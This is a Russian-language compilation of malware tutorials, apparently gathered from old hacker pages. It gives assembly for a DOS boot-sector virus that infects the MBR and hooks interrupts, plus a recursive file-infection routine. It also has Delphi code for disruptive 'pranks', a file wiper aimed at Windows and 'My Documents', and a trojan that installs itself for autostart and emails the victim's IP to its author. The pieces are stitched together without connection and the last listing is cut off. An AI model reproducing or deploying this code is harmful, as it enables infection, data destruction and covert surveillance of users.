функции мы возложим на обработчик прерывания Int 21h. О том, как это будет реализовано, тоже было рассказано выше.
Под заражением понимают запись вирусного кода в BOOT - сектор дискеты или в MBR винчестера.Понятно, что при загрузке
с винчестера проверять его на зараженность бессмысленно. И тем не менее, наш вирус делает это, так как отключить
проверку жесткого диска не так просто. Хотелось бы сказать о том, какой должна быть максимальная длина вирусного кода.
Если мы хотим поместить вирус в загрузочный сектор целиком, следует учесть два момента.
1. Собственно программа загрузки в MBR занимает не более, чем 446 байт (см. ПРИЛОЖЕНИЕ 2)
2. Программа загрузки в BOOT - секторе дискеты имеет разный размер в разных версиях DOS. В самом " предельном " случае
она начинается сосмещения 0055h относительно начала сектора. Два последних байта BOOT и MBR содержат код: 55AAh. Если
его затереть, система перестанет загружаться с испорченного таким образом диска.
Отсюда следует очевидный вывод - размер кода вируса не может превышать : 200h - 55h - 02h = 1A9h = 425 байт! Если вы не
выйдете за эту границу, обращение к диску будет происходить корректно. Кроме того, дажеNORTON DISK DOCTOR не будет
замечать изменений программы загрузки в BOOT - секторе дискеты или MBR винчестера, что, согласитесь, очень важно.
1.8 Как начинается распространение вируса
Для внедрения загрузочного вируса в компьютер достаточно попробовать загрузиться с зараженной дискеты, при этом дискета
не обязательно должна быть загрузочной. В этом состоит особенность BOOT - вирусов. Итак , чтобы вирус начал
распространяться, достаточно заразить им гибкий диск, а потом попытаться загрузиться с него на той или иной машине.
1.9 Начало работы
Обычно для создания вирусов используют COM - формат. Поэтому :
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
1.10 Вирус получает управление
Как вы уже знаете, загрузочный вирус получает управление только при загрузке операционной системы. Далее он должен "
отрезать " у DOS несколько килобайтов памяти и переписать свой код в полученную область. Для выполнения этих функций
можно предложить такой фрагмент :
my_prg: jmp installer ;Переход на сек-
;цию инсталляции
dw 7bfeh ;Установка соб-
;ственного стека
;
push cs ;DS = CS
pop ds ;
;
sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
mov ax,ds:[0413h] ;два килобайта
mov cl,6 ;памяти и вычис-
;лим
sal ax,cl ;сегментный ад-
;рес,по которому
;находится полу-
;ченный блок
mov es,ax ;Поместим адрес
;в ES
xor si,si ;И скопируем код
mov cx,prg_lenght ;вируса длиной
prg_copy: db 8ah ;"prg_lenght" в
db 9ch ;память по адре-
additor db 00h ;су ES : 0000h
db 7ch ;Сам код при за-
mov byte ptr es:[si],bl;грузке помещае-
inc si ;тся BIOS по ад-
loop cs:prg_copy ;ресу 0000:7C00h
;
push ax ;Запишем в стек
mov ax,to_read_boot ;адрес ES:to_re-
push ax ;ad_boot и осу-
db 0cbh ;ществим переход
;на этот адрес
Поскольку операционная система к моменту начала выполнения этого фрагмента еще не загружена, "увести" у вычислительной
системы два килобайта памяти не представляет никакого труда. Для этого просто следует уменьшить на два число,
расположенное в области данных BIOS по адресу :0000:0413h. Загрузившись,операционная система не будет замечать
занятую вирусом память. Даже такие программы, как RELEASE или Volkov Commander (нажмите ALT + F5) не помогут обнаружить,
где именно "притаился" вирус.
Машинный код
db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;
является кодом команды " mov bl,byte ptr [si + 7C00h] " и модифицируется в зависимости от того, что именно удалось
заразить вирусу - если загрузка происходит с винчестера, то код будет иметь вид :
db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;
а если с дискеты :
db 8ah ;
db 9ch ;
additor db 55h ;
db 7ch ;
Дело в том, что в MBR жесткого диска тело вируса располагается по смещению 0000h от начала сектора, а в BOOT -
записи дискеты это же смещение равно 0055h ( см. п. 1.15 ). При заражении того или иного диска вирус определяет
необходимое значение поля " additor", которое потом будет записано в загрузочный сектор.Команда " ret far " для
краткости записана в виде машинного кода 0CBh.
1.11 Перехватываем Int 16h
Согласно описанному выше алгоритму, настало время перехватить прерывание Int 16h. Наш вирус будет использовать его
для наблюдения за состоянием вирусного обработчика Int 21h и перехвата этого прерывания:
to_read_boot equ $ - my_prg ;
;
read_boot: push cs ;DS = CS
pop ds ;
;
xor si,si ;SI = 0
mov es,si ;ES = SI
;
;*************************************************
mov bx,word ptr es:[58h] ;Получим вектор
mov word ptr old_16h - 100h,bx ;Int 16h и
mov bx,word ptr es:[5ah] ;сохраним
mov word ptr old_16h_2 - 100h,bx ;его
;
mov word ptr es:[58h],to_new_16h ;Установим
mov word ptr es:[5ah],cs ;вектор Int 16h
;на вирусный об-
;работчик
Прерывание здесь перехватывается путем непосредственной модификации вектора в таблице векторов прерываний. Константа
"to_read_boot" задает смещение от начала вирусного кода до метки "read_boot",с которой и начинается код, выполняющий
переопределение вектора Int 16h на вирусный обработчик. Дополнительных пояснений работа фрагмента не требует.
1.12 Читаем исходную BOOT - запись
Сначала договоримся, где наш вирус будет хранить настоящую загрузочную запись (BOOT - для дискет или MBR - для жестких
дисков). Обычно на нулевой дорожке нулевой стороны винчестера используется только самый первый сектор, а остальные
свободны. Поэтому было бы естественно сохранить MBR в одном из секторов нулевой дорожки. Нас заинтересовал сектор с
номером 12,но можно было бы взять и любой другой. Только не следует выбирать сектора с очень большими номерами.
Может случиться так, что, например, сектора с номером 63 на диске просто не существует. Оптимальный номер - не выше
двадцати. Для дискет оригинальную BOOT - запись проще всего записывать в последний сектор последней дорожки на
первой стороне. Для того, чтобы с зараженного диска можно было загрузиться, вирус должен считать исходную загрузочную
запись в память по адресу : 0000:7C00h и после выполнения необходимых действий передать ей управление :
mov dx,num_head - 100h ;Считаем настоя-
mov cx,cyl_sect - 100h ;щий загрузочный
mov bx,7c00h ;сектор в память
mov ax,0201h ;по адресу
int 13h ;0000:7C00h
В приведенном фрагменте задействованы ячейки памяти :
num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;головки,дорожки
;и сектора зара-
;женного диска ,
;в которых запи-
;сана настоящая
;загрузочная
;запись .
Несколько позже мы разберемся, как определяются помещаемые в них значения.
1.13 Заражаем MBR винчестера
Следуя алгоритму, настало время проверить, заражена - ли MBR первого жесткого диска, и если нет - заразить ее. Поэтому
приступим к делу :
push cs ;ES = CS
pop es ;
;
mov dl,80h ;Считаем MBR
call cs:read_mbr ;винчестера
jc cs:to_quit ;по адресу
;CS:0400h, при-
;чем загрузка
;сейчас может
;производиться
;и с дискеты !
cmp byte ptr ds:[400h],0eh ;MBR уже зара-
je cs:to_quit ;жена ? Да - на
;выход, иначе -
;продолжим :
mov dx,0080h ;Нулевая головка
;первого жестко-
;го диска
mov cx,000ch ;Сектор 12,
;дорожка 0.
;Сохраним эти
;параметры .
call cs:write_mbr_last ;Кроме того,
;перепишем нас-
;тоящую MBR в
;сектор 12
jc cs:to_quit ;нулевой дорожки
;на нулевой сто-
;роне HDD 1.
xor si,si ;Сформируем код
mov additor - 100h,00h ;для записи его
mov cx,prg_lenght ;
copy_vir_mbr: ;на место исход-
mov al,byte ptr ds:[si];ной MBR
mov byte ptr ds:[si + 400h],al ;
inc si ;
loop cs:copy_vir_mbr ;
;
mov dx,0080h ;Запишем этот
call cs:write_mbr ;код в первый
;сектор нулевой
;дорожки нулевой
;стороны винчес-
;тера
;
to_quit: db 0eah ;Отдадим упра-
dw 7c00h ;вление настоя-
dw 0000h ;щей загрузочной
;записи ( MBR )
Как видите, вирус достаточно свободно " чувствует " себя в памяти. Свой код он записывает в младшие 512 байт первого
"отрезанного" у DOS килобайта, а MBR винчестера считывает в младшие 512 байт второго килобайта. Так сделано для
большей понятности программы и облегчения программирования, но один килобайт памяти фактически тратится впустую
(что с некоторой натяжкой можно отнести к вредным действиям нашего вируса). Процедура " read_mbr " читает сектор
1 дорожки 0 на нулевой стороне указанного диска. Процедура "write_mbr" записывает данные из буфера по адресу :
CS:0400h в сектор 1 дорожки 0 на нулевой стороне указанного диска. Процедура " write_mbr_last " записывает
данные из буфера по адресу : CS:0400h в заданный сектор того или иного диска и заполняет ячейки памяти :
num_head
и cyl_sect.
Для проверки зараженности MBR вирус сравнивает ее первый байт с первым байтом своего кода - числом 0Eh.Далее, в поле
" additor " заносится число 00h,необходимое для корректной загрузки с винчестера. Стоит отметить, что заражение MBR
происходит исключительно при загрузке с зараженной дискеты. Когда операционная система будет загружена, вирус будет
инфицировать только гибкие диски при смене текущего диска на " A " или " B ".
1.14 Пишем обработчик прерывания Int 16h
Вообще - то, мы его уже написали. Так что загляните в пункт 1.6.
1.15 Пишем обработчик прерывания Int 21h
Приблизительный текст процедуры обработки Int 21h уже приводился выше.
Куда подевался экран?
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас
ткни на Project -- View Source. Теперь сотри там всё и пиши:
program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
end.
Ну что же, каркас готов, теперь будем писать основной код:
program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }
end;
end.
Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать что бы прогу нашу через CTRL-ALT-DEL не видно было:
program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }
end;
end.
Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!
Отключение клавиатуры
Для начала запусти Дельфи, выбери в меню Project--> View Source и набери вот это:
program antiklava;
uses Windows;
begin
end.
Так, основа готова. Теперь надо добавить ядро программы и объявления переменных:
program antiklava;
uses Windows; { подключение необходимых модулей }
var
klava:boolean; { объявление логической переменной}
begin
klava:=true; { устанавливаем значение переменной }
while true do { начинаем бесконечный цикл }
begin
Yield; { делаем так, чтобы всё не подвисло :)}
Sleep(2*60*1000); { ничего не делаем 2 минуты }
klava:=not klava; { присваиваем переменной противоположное значение }
EnableHardwareInput(klava); { и в зависимости от переменной, отключаем или включаем клаву с мышкой}
end;
end.
Ну вот, всё что нам осталось - CTRL-F9.
ВЫрубить монитор
Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным
мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...
procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,0);
end;
Для того, чтобы программно включить монитор можете использовать следующий код:
procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER, -1);
end;
Отключить кнопку закрытия Х чужого окна
Для примера, запустите "Блокнот" и попробуем его кнопку закрытия окна сделать неактивной, кроме того пункт "закрыть"
в системном меню тоже будет отключён! ;-]
procedure TForm1.Button1Click (Sender: TObject);
var
hwndHandle : THANDLE;
hMenuHandle : HMENU;
begin
hwndHandle := FindWindow(nil, 'Untitled - Notepad');
if (hwndHandle <> 0) then begin
hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
if (hMenuHandle <> 0) then
DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
end;
P.S.
Вместо "Untitled - Notepad", нужно подставить заголовок того окна, которому вы хотите послать сообщение.
ОЧИСТИТЬ "МОИ ДОКУМЕНТЫ"
Мы изучим самый легкий способ: удаление всех файлов из папки "Мои документы" без учёта вложенных файлов. Для этого
вынесем компонент класса ТFileListBox - это список файлов (находится на закладке Win3.1 палитры компонентов). Затем,
с той же закладки, выносим компонент класса TDirectoryListBox - это список каталогов. Задаём ему свойство FileList,
указывающее на список файлов (на компонент FileListBox1). Далее можно по созданию окна или по таймеру (если ваша
программа многоразового использования) пишем такой код:
procedure TForm1.Timer1Timer(Sender: TObject);
var
i:Integer;
begin
DirectoryListBox1.Directory:='c:\мои документы';
for i:=0 to FileListBox1.Items.count-1 do begin
DeleteFile('C:\мои документы\'+FileListBox1.Items[i]);
end;
end;
СКРЫТЬ TRAY, ЧАСЫ, КНОПКУ 'ПУСК', ПАНЕЛЬ ЗАДАЧ
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас
ткни на Project -- View Source. Теперь сотри там всё и пиши:
program proga2;
uses Windows;
var
Wnd:THandle; { объявляем переменные }
int:integer;
begin
Randomize; { холостой прогон генератора случайных чисел }
int:=(Random(3)); { выбор одного варианта из четырёх }
case int of
0: { если первый вариант то }
begin
Wnd := FindWindow('Progman', nil); { прячем трей }
Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil);
ShowWindow(Wnd, SW_HIde);
end;
1: { если второй вариант то }
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
{ прячем часы }
ShowWindow(Wnd, SW_HIde);
end;
2:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil);
{прячем кнопку "Пуск"}
ShowWindow(Wnd, SW_HIde);
end;
3:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
{ прячем "Панель задач" }
ShowWindow(Wnd, SW_HIDe);
end;
end;
end.
По желанию можно вставить защиту от CTRL-ALT-DEL.
Ни для кого не секpет, что неpезидентные виpусы, котоpые пишут начинающие виpмейкеpы, как пpавило обладают очень
низкой скоpостью pазмножения. В лучшем случае они используют метод известный как "dot-dot", то есть поиск жеpтв в
вышестоящих диpектоpиях или ищут жеpтвы в диpектоpиях указанных в PATH. Оба этих метода несмотpя на свою пpостоту
(а может быть как pаз благодаpя ей) очень огpаничивают pаспpостpанение виpуса. Заpазить намного больше файлов можно
дpугим довольно-таки несложным методом, то есть последовательным сканиpованием всех диpетоpий текущего диска на
пpедмет возможных жеpтв. Hиже я пpивожу фpагмент иллюстpиpующий данный, ставший уже стандаpтным, метод:
mov ah,47h ;Получили в пеpеменную path
xor dx,dx ;полный путь до файла из котоpого
lea si,[path] ;стpатовал виpус, это нужно для того
;чтобы
int 21h ;после поиска текущей диpектоpией у вас
;осталась та, из котоpой стаpтовал виpус
mov ah,3bh
lea dx,[root] ;Вышли в коpень, оттуда удобнее начинать
int 21h ;поиск.
call Disk_Scan ;Вызвали пpоцедуpу поиска.
mov ah,3bh
lea dx,[path] ;Установили текущей диpектоpию из
int 21h ;котоpой пpоизошел запуск виpуса
Disk_Scan proc near
push bp ;Сохpанили BP в стэк
mov bp,sp ;BP указывает на веpшину стэка.
sub sp,44 ;Выpезали в стэке дыpку в 44 байта,
;она нам нужна как буфеp под DTA
call infect_directory ;Вызов пpоцедуpы поиска файлов в
;диpектоpии
mov ah,1Ah ;Установили DTA на выpезанную
lea dx,word ptr [bp-44] ;нами в стеке дыpку
int 21h ;
mov ah, 4Eh ;Поиск пеpвой диpектоpии
mov cx,16 ;по маске *.*
lea dx,[dir_mask]
int 21h
jmp short ok
;Здесь есть один интеpесный момент: несмотpя на то, что атpибутом для
;поиска мы указали 16 только диpектоpии), дос сначала найдет '.' и '..', ну
;это еще ладно все же диpектоpии, а потом будет находить файлы
;соответствующие маске *.* - это уж совсем ни в какие воpота не лезет!=)
;поэтому пpидется делать несколько пpовеpок для того чтобы узнать, что мы в
;действительности нашли.
Check:
cmp byte ptr [bp-14], '.' ;Если точка, то искать следующую
je short next_dir ;диpектоpию на этом же уpовне
;вложенности.
lea dx,word ptr [bp-14] ;Смещение указывающее на имя
;найденной диpектоpии помещаем в DX
;Кстати [bp-14]=dta+1eh
mov ah,3Bh ;Вошли в эту диpектоpию.
int 21h ;То есть опустились на один уpовень
;вложенности вниз
jc short next_dir ;Если ошибка то искать следующую на
;этом же уpовне вложенности
call near ptr Disk_Scan ;Рекуpсия однако:)
next_dir:
lea dx,word ptr [bp-44] ;Установить DTA на новое место в
mov ah,1Ah ;в стеке
int 21h
mov ah,4Fh ;Искать следующую диpектоpию
int 21h
ok:
jnc Check ;Если нет ошибок начать пpовеpки
lea dx, [back_dir] ;
mov ah,3Bh ;Подняться на один уpовень вложенности
int 21h ;
mov sp,bp ;Восстановить пеpвоначальную веpшину
pop bp ;стэка, восстановить BP,
ret ;выйти из подпpогpаммы.
Disk_Scan endp
Для тех кто не понял по исходнику, попытаюсь объяснить агоpитм pаботы
данной пpоцедуpы:
1. Установили DTA.
2. Hашли пеpвую диpектоpию.
3. Вошли в найденную диpектоpию.
(То есть опустились на один уpовень вложенности вниз).
4. Установили DTA на дpугю область в стеке.
(в нашем случае, находящуюся сpазу за пpедыдущей областью с DTA)
5. п.2, 3 пока не дойдем до последнего уpовня вложенности.
6. Поставили DTA на пpедыдущую область в стеке.
7. Подняться на один уpовень вложенности ввеpх.
8. Hайти следующую диpектоpию на этом увpоне вложенности.
9. Далее п.3.
Пpимеp:
c:\
|
NAME1-----NAME2 - Для этого уpовня вложеннности DTA указывает на
| некотоpую область стэка, назовем ее DTA1.
NAME11---NAME12 - Для этого уpовня на DTA2
|
| - Для этого уpовня DTA3
То есть стэк содеpжит в себе последовательность DTA для каждого из
уpовней вложенности; в стеке DTA1, DTA2, DTA3. Для чего это нужно? А для того
чтобы, когда мы будем возвpащаться ввеpх по деpеву, мы не зациклились, а
нашли следующую диpектоpию на пеpдыдущем уpовне вложенности. Hапpимеp, мы
начали наш поиск из коpня и нашли функцией 4eh пеpвую диpектоpию, допустим
NAME1, после этого DTA1 содеpжит в себе имя этой диpектоpии. Затем мы
опустились на один уpовень вложенности вниз (то есть вошли в NAME1),
уставноили DTA на новую область в стэке DTA2, снова начали поиск функцией 4eh
и нашли диpектоpию NAME11 (DTA2 содеpжит NAME11). Опустились еще на один
уpовень вложенности вниз, установили DTA на DTA3, не нашли больше диpектоpий,
и поднялись на один уpовень вложенности ввеpх, установив пpи этом DTA на
DTA2(котоpое содеpжит NAME11), затем функцией 4fh нашли следующую диpектоpию
NAME12, котоpая в свою очеpедь оказалась в DTA2 и т.д. пока не побываем в
каждой диpектоpии на диске. Hетpудно догадаться что если бы мы оставили DTA
постоянным, то пpи опускании на каждый новый уpовень вложенности вниз, мы
пpосто бы затиpали стаpое DTA, котоpое содеpжит имя пеpвой найденной
диpектоpии на пpедыдущем уpовне вложенности, то есть зациклили бы поиск.
Естественно, все вышеизложенное можно делать и не чеpез стэк, а пpосто
выделив нектоpую область памяти, и пpоделывая там каждый pаз тоже самое, что
мы с вами пpоделывали со стэком. Hо во-пеpвых, это сильно увеличивает pазмеp
вашего виpуса, во-втоpых, накладывает некотоpые огpаничения на глубину
поиска по диpектоpиям, а ,в тpетьих, на мой взгляд, способ со стэком более
пpост и унивеpсален.
А тепеpь, собственно, пpоцедуpа поиска файлов в диpектоpии:
Infect_Directory proc near
push bp ;Сохpанили BP в стэк
mov ah,2fh ;Получили в BX адpесс текущего DTA
int 21h ;
push bx ;Сохpанили его в BX
mov bp,sp ;В BP веpшина стэка
sub sp,44 ;выpезали в стэке дыpку в 44 байта,
;буфеp под DTA
mov ah,1ah ;
lea dx,[bp-44] ;Установили DTA на этот буфеp
int 21h ;
mov ah,4eh ;
mov cx,00100011b ;Hашли пеpвый файл по маске *.com
lea dx,[file_mask] ;
Find_Next:
int 21h
jc exit ;Если ошибка, на выход
Call Infect_All ;Вызвать пpоцедуpу заpажения файла.
mov ah,4fh ;Hайти следующий файл
jmp Find_Next ;
Exit:
mov sp,bp ;Восстановили веpшину стэка, то есть
;убpали буфеp указывающий на DTA
pop bx ;Восстановили адpесс начального DTA
pop bp ;Восстановили BP
mov ah,1ah ;Установили начальный DTA
mov dx,bx ;
int 21h ;
ret ;Выход из подпpогpаммы.
Infect_Directory endp
path db 64 dup(?),0
back_dir db '..',0
dir_mask db '*.*',0
file_mask db '*.com',0
root db '\',0
Сегодня мы рассмотрим как сделать простого мыльного трояна на Delphi. Для создания трояна будем пользоваться
стандартными компонентами Delphi. Версия Delphi 3 и выше. Для начала создай новый проект. Дальше нажми два
раза крысой по форме и пиши:
begin
CurPath := ExtractFilePath(ParamStr(0)); // определяем текущий каталог
GetWindowsDirectory(WinPath,255); // определяем где находится винда
If (WinPath<>CurPath) then //если не в каталоге с виндой, то:
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\WinWXD.exe')[1],false); // копируем себя в каталог винды
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'WinVXD.exe', 'WinVXD.exe');
RegIni.Free; // прописались в реестр
end;
end;
end;
Теперь допиши в uses слово Registry(в самом верху).Теперь добавь переменные после var Form1: TForm1; (чуть ниже):
WinPath : array [0..255] of char;
CurPath : String;
RegIni : TRegIniFile;
У тебя должно получится:
var
Form1: TForm1;
WinPath : array [0..255] of char;
CurPath : String;
RegIni:TRegIniFile;
Теперь кидаем на форму компонент Timer(закладка System) и NMSmtp(закладка FastNet), ставим у таймера интервал 3
минуты(180000). Кликаем по таймеру и пишем:
NmSMTP1.host:='smtp.mail.ru'; //лучше используй другой сервер
NmSMTP1.Connect; // подключаемся к smtp серверу
if NMSMTP1.Connected then //если подключились
begin
NMSMTP1.PostMessage.FromAddress :='From BILL GATES :)'; // От куда письмо
NMSMTP1.PostMessage.FromName := 'First Trojan'; //От кого письмо
NMSMTP1.PostMessage.ToAddress.Text := 'your@e.mail'; //Кому шлём письмо
NMSMTP1.PostMessage.Body.Text := 'Ip: '+NMSMTP1.LocalIP; // посылаем IP.
NMSMTP1.PostMessage.Subject := 'First Trojan'; //Тема
NMSMTP1.SendMail; // посылаем письмо
end;
Теперь надо сделать так, чтобы юзер при запуске программы не видел главного окна. Выбери в меню: project>>>View
source и ты увидишь:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Теперь допиши после "Application.CreateForm(TForm1, Form1);" строчку "Application.ShowMainForm:=false;". У тебя
должно получиться:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false;
Application.Run;
end.
Вот и весь троян! Надеюсь теперь ты понял как можно сделать простого мыльного трояна на Delphi. А вот весь листинг программы:
unit Unit1;
interface
uses
Windows, Messages, SysUtils,registry, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, Psock, NMsmtp;
type
TForm1 = class(TForm)
NMSMTP1: TNMSMTP;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
public
end;
var
Form1: TForm1;
WinPath : array [0..255] of char;
CurPath : String;
RegIni:TRegIniFile;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If (WinPath<> CurPath) then
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\WinWXD.exe')[1],false);
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'WinVXD.exe', 'WinVXD.exe');
RegIni.Free; // прописались в реестр
end;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
NmSMTP1.host:='smtp.mail.ru';
NmSMTP1.Connect;
if NMSMTP1.Connected then
begin
NMSMTP1.PostMessage.FromAddress :='From BILL GATES :)';
NMSMTP1.PostMessage.FromName := 'First Trojan';
NMSMTP1.PostMessage.ToAddress.Text := 'your@e.mail';
NMSMTP1.PostMessage.Body.Text := 'Ip: '+NMSMTP1.LocalIP;
NMSMTP1.PostMessage.Subject := 'First Trojan';
NMSMTP1.SendMail;
end;
end;
end.
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false;
Application.Run;
end.
Системные требования:
Win9x или NT, Delphi 5, умение программировать методом Copy-Paste :).
Сегодня мы напишем простенькую программку на Делфи, убивающую операционную систему Windows (a.k.a. Must Die).
Даже не просто убивающую, а удаляющую все файлы, лежащие в корне того диска, где стоит OC, папке "Мои Документы",
директории Windows, системной директории Windows, папке \System32. Например если ты установил Мастдай в C:\Windows,
то при запуске проги будут удалены все файлы (но не папки) из: C:\; C:\Windows, C:\Мои Документы, C:\Windows\System,
C:\Windows\System32.
Итак, приступим к делу. Project -> View Source. Здесь удаляем все лишнее, чтобы в результате получилось следующее:
program MDkiller;
uses
Windows, Sysutils;
begin
end.
Теперь Делфя готова к работе. :))
Дополним это еще несколькими строками:
program MDkiller;
uses
Windows, Sysutils;
var { обьявление переменных}
S: Tsearchrec;
a1,a2,a3,a4,a5: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path); {определяем директорию, где установлена Windows}
a1:= strpas(p) + '\'; {переводим возвращенный параметр из типа PChar в строковый тип и дополняем путь к
директории Windows символом '\'}
a2:= a1[1]+ ':\'; {определяем диск, на котором установлена ОС}
a3:= a2 + 'Мои Документы\'; {определяем папку "Мои Документы"}
getsystemdirectory(p1,max_path); {определяем cистемную директорию}
a4:= strpas(p1) ; {переводим возвращенный параметр из типа PChar в строковый тип } a5:= a4 + '32\'; {определям \System32}
a6:= a4 + '\'; {дополняем путь к системной директории символом '\'}
end.
Разберемся, что мы сделали :)
Переменные S: Tsearchrec и F: File необходимы для последующей процедуры поиска файлов в заданных директориях.
Остальные переменные типа string и pchar нужны для определения необходимых параметров и перевода их в понятный
фугкциям FindFirst и FindNext язык. Для определения системной директории и директории Windows мы использовали
функции WinAPI
GetWindowsDirectory и GetSystemDirectory. Пути к нужным директориям определены, осталось удалить из них файлы. :)
Для поиска и удаления воспользуемся функциями FindFirst и FindNext.
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else { если функция FindFirst
возвращает значение не ноль - завершить поиск, если ноль тогда продолжить}
repeat {продолжать} deletefile(a1 + S.name); {удаление найденного файла}
until {пока}
Findnext(S) <> 0; {не возвращено значение ноль}
FindClose(S);{тогда закончить поиск}
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.
Вот и все. Я откомментировал удаление файлов только из директории Windows, т.к. в других случаях происходит
почти то же самое - поиск и удаление файлов до тех пор, пока не будет возвращено значение не ноль ( <>0),
т.е. файлов в указанной директории больше нет. Замечу, что удаление файлов из папок, находящихся в заданных
директориях, производиться не будет, т.к. это требует усложнения алгоритма поиска.Я написал прогу с
использованием WinAPI и Sysutils, так ее размер составил 42КВ, а зажатая ASPack'ом она стала весить всего 26КВ.
Еслине использовать Sysutils, а описать поиск файлов, используя FindFirstFile и FinfNextFile из WinAPI
можно получить размер екзешника - 17 KB, сжатый ASPack'ом - 15KB!
ЗЫ: Я тестировал прогу на Windows 2000 Pro SP1. При работе под Win9x возможны ошибки, требующие небольшого
изменения кода. Например на Win 98 SE при определении директории, в которую установлен Мастдай, прога выдает
сообщение о ошибке и не работает. :( Но если перед GetWindowsDirectory() и GetSystemDirectory() написать p:='' и p1:=''
соответственно, то все
запашет без проблем.
Полный листинг проги:
program MDkiller;
uses
Windows, Sysutils;
var
S: Tsearchrec;
a1,a2,a3,a4,a5,a6: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path);
a1:= strpas(p) + '\';
a2:= a1[1]+ ':\';
a3:= a2 + 'Мои Документы\';
GetSystemDirectory(p1,max_path);
a4:= strpas(p1) ;
a5:= a4 + '32\';
a6:= a4 + '\';
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a1 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
